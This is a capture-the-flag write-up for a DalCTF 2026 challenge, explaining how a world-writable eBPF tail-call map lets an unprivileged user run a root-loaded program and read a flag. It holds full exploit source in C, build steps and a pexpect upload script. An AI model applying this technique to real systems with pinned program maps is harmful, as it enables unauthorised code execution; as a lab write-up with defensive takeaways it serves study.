Challenge: Lost My Flag Printer · CTF: DalCTF 2026 · Category: Miscellaneous · Difficulty: Hard

TL;DR

The challenge boots a tiny Linux VM in QEMU. A setuid-root helper (/chal) builds three pinned eBPF objects:

  • an array map that will hold the flag (/sys/fs/bpf/flag, world read/write, but empty),
  • a socket-filter program that fills that map with the flag (/sys/fs/bpf/prog, chmod 000),
  • a PROG_ARRAY (tail-call map) holding that program at index 0 (/sys/fs/bpf/prog_map, world read/write).

The author then chmod 000s the program pin and laments that the flag map “will remain empty forever.” But the tail-call map is still world-accessible. Unprivileged eBPF is enabled, so we can load our own socket filter that does bpf_tail_call(ctx, &prog_map, 0), attach it to a socket, send one packet, and the root-loaded “flag printer” runs for us. Then we just read the flag map.

The flag name says it all: dalctf{1_<3_t41l_c4ll5}.


1. First contact

We’re handed a dist/ directory:

1
2
3
4
5
6
7
dist/
├── docker-compose.yaml
└── img/
    ├── bzImage          # Linux kernel 6.8.0
    ├── rootfs.cpio.gz   # initramfs
    ├── Dockerfile
    └── start.sh

start.sh is the classic kernel-CTF QEMU launcher:

1
2
3
4
5
6
7
8
#!/bin/sh
exec qemu-system-x86_64 \
    -m 128M -smp 1 \
    -cpu qemu64,+smep,+smap \
    -kernel bzImage \
    -initrd rootfs.cpio.gz \
    -nographic -monitor /dev/null -no-reboot \
    -append "console=ttyS0 quiet"

So the remote service is just this QEMU instance with its serial console wired to the socket. Connecting confirms it — we boot straight into a BusyBox login prompt:

1
2
Welcome to Buildroot
buildroot login:

The challenge description already gave us the credentials: user ebpf, empty password. (If it hadn’t, the /etc/shadow hash for ebpf is $5$ObHkmKWB$... which cracks instantly to the empty string — john reports it as a blank password.)

Despite living in the “misc” category, this is unmistakably a Linux/eBPF challenge.

2. Cracking open the initramfs

1
2
mkdir rootfs && cd rootfs
zcat ../rootfs.cpio.gz | cpio -idmv

Two files immediately stand out:

1
2
-rws--x--x   1 root  root  743320  chal      # setuid root, statically linked, stripped
-rwxr-xr-x   1 root  root     462  init

/chal is setuid root. There’s also an ebpf user (uid 1000) in /etc/passwd, a leftover bpf_preload.ko in the modules tree, and the whole thing screams eBPF.

Nothing in the init scripts runs /chal automatically, so the intended flow is: we log in as ebpf, run /chal ourselves (it does its privileged setup as root thanks to setuid), and then attack whatever it leaves behind.

A quick strings on /chal tells us the whole story:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
flag map create
/sys/fs/bpf/flag
bpf_obj_pin flag map
bpf_prog_load
Verifier log:
/sys/fs/bpf/prog
bpf_map_create
/sys/fs/bpf/prog_map
bpf_obj_pin map
bpf_map_update_elem
Dang, I left my flag printer in /sys/fs/bpf/prog_map.
Now /sys/fs/bpf/flag will remain empty forever...

So /chal:

  1. creates a flag map and pins it at /sys/fs/bpf/flag,
  2. loads a program (“flag printer”) and pins it at /sys/fs/bpf/prog,
  3. creates a map pinned at /sys/fs/bpf/prog_map,
  4. updates that map with the program,
  5. and prints a sad message about leaving the printer in prog_map.

The “locked my keys in the car” hint maps perfectly: the thing that prints the flag is locked inside prog_map, and the author thinks they can’t reach it.

3. Reversing /chal

The binary is static and stripped, but main is a single linear function. Disassembling it (objdump -d / radare2) and decoding the eBPF instruction array it builds on the stack gives us a clear picture. Here’s what each phase does.

3.1 The flag map

A union bpf_attr is built with:

1
2
3
4
map_type    = 2     // BPF_MAP_TYPE_ARRAY
key_size    = 4
value_size  = 0x18  // 24 bytes
max_entries = 1

BPF_MAP_CREATE, then BPF_OBJ_PIN to /sys/fs/bpf/flag. A single 24-byte slot, created empty.

3.2 The “flag printer” program

Next, main hand-assembles a 20-instruction eBPF program on the stack, one mov byte at a time. Decoded, it is exactly:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
r1 = 0
*(u32*)(r10 - 4) = r1            ; key = 0
r2 = r10
r2 += -4                         ; r2 = &key
r1 = flag_map_fd                 ; lddw (BPF_PSEUDO_MAP_FD)
r0 = bpf_map_lookup_elem(r1, r2) ; helper #1
if r0 == 0 goto exit
r1 = r0                          ; r1 -> map value
r8 = "dalctf{R" ; *(u64*)(r1 + 0)  = r8
r8 = "EDACTED_" ; *(u64*)(r1 + 8)  = r8
r8 = "tester}\0"; *(u64*)(r1 + 16) = r8
r0 = 0
exit

So when this program runs, it looks up flag_map[0] and writes the flag string into it. In the distributed binary the constant is the placeholder dalctf{REDACTED_tester} — on the remote it’s the real flag, baked into the program as immediates.

Crucially, the load attributes are:

1
2
3
prog_type = 1        // BPF_PROG_TYPE_SOCKET_FILTER
license   = "GPL"
log_level = 7

The flag printer is a SOCKET_FILTER program. Remember that — tail-call targets must match the caller’s program type.

It’s pinned to /sys/fs/bpf/prog.

3.3 The tail-call map

1
2
3
4
map_type    = 3     // BPF_MAP_TYPE_PROG_ARRAY
key_size    = 4
value_size  = 4
max_entries = 1

→ created, pinned to /sys/fs/bpf/prog_map, then BPF_MAP_UPDATE_ELEM inserts the flag-printer program fd at index 0. A PROG_ARRAY is the map type used for eBPF tail calls (bpf_tail_call).

3.4 The “lock”

Finally, main does three chmod calls:

1
2
3
chmod("/sys/fs/bpf/prog",     0000);   // lock the program pin
chmod("/sys/fs/bpf/prog_map", 0666);   // world read/write
chmod("/sys/fs/bpf/flag",     0666);   // world read/write

This is the “locked my keys in the car” moment. The standalone program pin is made inaccessible (000), so you can’t grab the printer directly. But the tail-call map is left world-accessible, and it still contains that very program.

4. The idea

A PROG_ARRAY exists to be tail-called into. If we can run a program that executes bpf_tail_call(ctx, &prog_map, 0), control transfers to the flag printer — which runs with whatever context loaded it and fills the flag map. We then read the flag map (it’s 0666).

Two questions:

  1. Can an unprivileged user load eBPF at all? Check the sysctl inside the VM:

    1
    2
    
    $ cat /proc/sys/kernel/unprivileged_bpf_disabled
    0
    

    Yes — unprivileged BPF is enabled. As ebpf we can call bpf(BPF_PROG_LOAD, ...).

  2. What program type must our loader be? Tail calls require the calling program and the target program in the PROG_ARRAY to be the same type. The flag printer is SOCKET_FILTER, so our loader must also be SOCKET_FILTER. That’s convenient: socket filters are exactly the program type you’re allowed to load and attach unprivileged, and bpf_tail_call (helper #12) and bpf_map_lookup_elem (#1) are both available to them.

So the plan:

  1. BPF_OBJ_GET("/sys/fs/bpf/prog_map") → fd for the tail-call map (it’s 0666).

  2. BPF_OBJ_GET("/sys/fs/bpf/flag") → fd for the flag map.

  3. Load our own SOCKET_FILTER:

    1
    2
    3
    4
    5
    
    r2 = prog_map_fd          ; lddw (pseudo map fd)
    r3 = 0                    ; index 0
    call bpf_tail_call        ; -> runs the flag printer
    r0 = 0
    exit
    
  4. Attach it to a socket with SO_ATTACH_BPF and send one packet to trigger it.

  5. BPF_MAP_LOOKUP_ELEM(flag_map, key=0) → the flag.

A subtle trigger detail

We attach the filter to one end of a socketpair(AF_UNIX, SOCK_DGRAM) and write() to the other end. For AF_UNIX datagrams the socket filter runs synchronously in the sender’s write() path when the skb is queued to the peer — so by the time write() returns, the tail call has already executed and the flag map is populated.

One gotcha: a socket filter’s return value is the verdict (number of bytes to accept; 0 = drop). The flag printer ends with r0 = 0, so after the tail call the packet is dropped. That’s fine for us — but it means you must not then block in read() waiting for a packet that will never arrive. Just skip the read and go straight to looking up the flag map.

5. The exploit

The VM has no compiler and we can only reach it through the serial console, so we build a tiny freestanding static binary on our host (≈9 KB, no libc) and upload it base64-encoded over the console.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
/* expmin.c — freestanding eBPF tail-call exploit, no libc */
typedef unsigned long u64; typedef unsigned int u32;
typedef short s16; typedef unsigned char u8; typedef int s32;

static long sys(long n, long a, long b, long c, long d, long e) {
    long r; register long r10 asm("r10")=d; register long r8 asm("r8")=e;
    asm volatile("syscall":"=a"(r):"a"(n),"D"(a),"S"(b),"d"(c),"r"(r10),"r"(r8)
                 :"rcx","r11","memory");
    return r;
}
#define NR_write 1
#define NR_socketpair 53
#define NR_setsockopt 54
#define NR_bpf 321

static u64 slen(const char*s){u64 n=0;while(s[n])n++;return n;}
static void out(const char*s){sys(NR_write,1,(long)s,slen(s),0,0);}
static void outn(const char*s,u64 n){sys(NR_write,1,(long)s,n,0,0);}
static void hex(long v){char b[19];b[0]='0';b[1]='x';for(int i=0;i<16;i++){
    int d=(v>>((15-i)*4))&0xf;b[2+i]=d<10?'0'+d:'a'+d-10;}b[18]='\n';outn(b,19);}

struct bpf_insn_s { u8 code; u8 dst_src; s16 off; s32 imm; };
static long bpf(int cmd,void*a,u32 sz){return sys(NR_bpf,cmd,(long)a,sz,0,0);}
#define BPF_OBJ_GET 7
#define BPF_PROG_LOAD 5
#define BPF_MAP_LOOKUP_ELEM 1

static int obj_get(const char*p){u8 a[128];for(int i=0;i<128;i++)a[i]=0;
    *(u64*)(a+0)=(u64)p; return bpf(BPF_OBJ_GET,a,sizeof(a));}

__attribute__((force_align_arg_pointer))
static void real_main(){
    int prog_map = obj_get("/sys/fs/bpf/prog_map"); out("prog_map="); hex(prog_map);
    int flag_map = obj_get("/sys/fs/bpf/flag");     out("flag_map="); hex(flag_map);
    if(prog_map<0||flag_map<0){out("obj_get fail\n");sys(60,1,0,0,0,0);}

    /* SOCKET_FILTER driver: bpf_tail_call(ctx, prog_map, 0) */
    struct bpf_insn_s insns[] = {
        {0x18,0x12,0,prog_map},  /* lddw r2 = prog_map (PSEUDO_MAP_FD) */
        {0x00,0x00,0,0},
        {0xb7,0x03,0,0},         /* r3 = 0 */
        {0x85,0x00,0,12},        /* call bpf_tail_call */
        {0xb7,0x00,0,0},         /* r0 = 0 */
        {0x95,0x00,0,0},         /* exit */
    };
    static char log[1<<16];
    u8 a[128]; for(int i=0;i<128;i++)a[i]=0;
    *(u32*)(a+0)=1;                                  /* SOCKET_FILTER */
    *(u32*)(a+4)=sizeof(insns)/sizeof(insns[0]);
    *(u64*)(a+8)=(u64)insns;
    static const char lic[]="GPL"; *(u64*)(a+16)=(u64)lic;
    *(u32*)(a+24)=1; *(u32*)(a+28)=sizeof(log); *(u64*)(a+32)=(u64)log;
    int prog = bpf(BPF_PROG_LOAD,a,0x90); out("prog="); hex(prog);
    if(prog<0){out("verifier:\n");out(log);sys(60,1,0,0,0,0);}

    int sv[2];
    sys(NR_socketpair,1/*AF_UNIX*/,2/*SOCK_DGRAM*/,0,(long)sv,0);
    int pf=prog;
    sys(NR_setsockopt,sv[1],1/*SOL_SOCKET*/,50/*SO_ATTACH_BPF*/,(long)&pf,4);
    char tb[8]="trigger"; sys(NR_write,sv[0],(long)tb,8,0,0);  /* filter+tail call run here */

    u32 key=0; u8 val[64]; for(int i=0;i<64;i++)val[i]=0;
    u8 la[128]; for(int i=0;i<128;i++)la[i]=0;
    *(u32*)(la+0)=flag_map; *(u64*)(la+8)=(u64)&key; *(u64*)(la+16)=(u64)val;
    out("lookup="); hex(bpf(BPF_MAP_LOOKUP_ELEM,la,0x30));
    out("FLAG: "); outn((char*)val,32); out("\n");
    sys(60,0,0,0,0,0);
}

void _start(){ asm volatile("andq $-16, %rsp"); real_main(); sys(60,0,0,0,0,0); }

Build it freestanding and tiny:

1
2
gcc -static -nostdlib -ffreestanding -fno-builtin -O2 -o expmin expmin.c && strip expmin
# ~9 KB

Two implementation footguns worth calling out:

  • At _start the stack is 16-byte aligned, but GCC’s vectorized array zeroing assumes the post-call alignment (rsp % 16 == 8). Without the andq $-16, %rsp fixup you get an instant movaps SIGSEGV. Aligning the stack (or force_align_arg_pointer) fixes it.
  • Don’t read() after triggering — the filter returns 0 (drop), so there’s nothing to read and you’d hang forever.

6. Delivery

We drive the serial console with pexpect: log in as ebpf, stream the base64 of expmin in chunks, decode it on the box, run /chal to perform the setup, then run our exploit.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
import pexpect, base64
b64 = base64.b64encode(open('expmin','rb').read()).decode()

c = pexpect.spawn('nc instancer.dalctf2026.com 35294', encoding='latin-1', timeout=120)
c.expect('login:'); c.sendline('ebpf')
i = c.expect(['Password:', r'\$ '])
if i == 0: c.sendline(''); c.expect(r'\$ ')

c.sendline('> /tmp/b'); c.expect(r'\$ ')
for j in range(0, len(b64), 512):
    c.sendline("printf '%s' '" + b64[j:j+512] + "' >> /tmp/b"); c.expect(r'\$ ')
c.sendline('base64 -d /tmp/b > /tmp/x && chmod +x /tmp/x && echo UPOK')
c.expect('UPOK'); c.expect(r'\$ ')

c.sendline('/chal');  c.expect(r'\$ ')   # privileged setup
c.sendline('/tmp/x'); c.expect(r'\$ ')   # exploit
print(c.before)

Running it:

1
2
3
4
5
6
7
8
9
$ /chal
Dang, I left my flag printer in /sys/fs/bpf/prog_map.
Now /sys/fs/bpf/flag will remain empty forever...
$ /tmp/x
prog_map=0x0000000000000003
flag_map=0x0000000000000004
prog=0x0000000000000005
lookup=0x0000000000000000
FLAG: dalctf{1_<3_t41l_c4ll5}

The “flag printer” we were never supposed to be able to reach happily ran for us via a tail call, and wrote the flag into the map.

7. Flag

1
dalctf{1_<3_t41l_c4ll5}

8. Takeaways

  • A PROG_ARRAY is an execution primitive, not just data. Locking the standalone program pin (chmod 000 /sys/fs/bpf/prog) does nothing while a world-accessible tail-call map still holds the same program. Anyone who can load a matching program type can jump into it with bpf_tail_call.
  • Tail-call targets must match the caller’s program type — here, both are SOCKET_FILTER, the one type unprivileged users can freely load and attach.
  • unprivileged_bpf_disabled = 0 is the enabler. With it set to 1/2 this path would be closed and the challenge would need a different angle.
  • Socket filters attached over an AF_UNIX SOCK_DGRAM pair run synchronously in write(), giving a clean, race-free trigger — just don’t block reading the (dropped) packet afterward.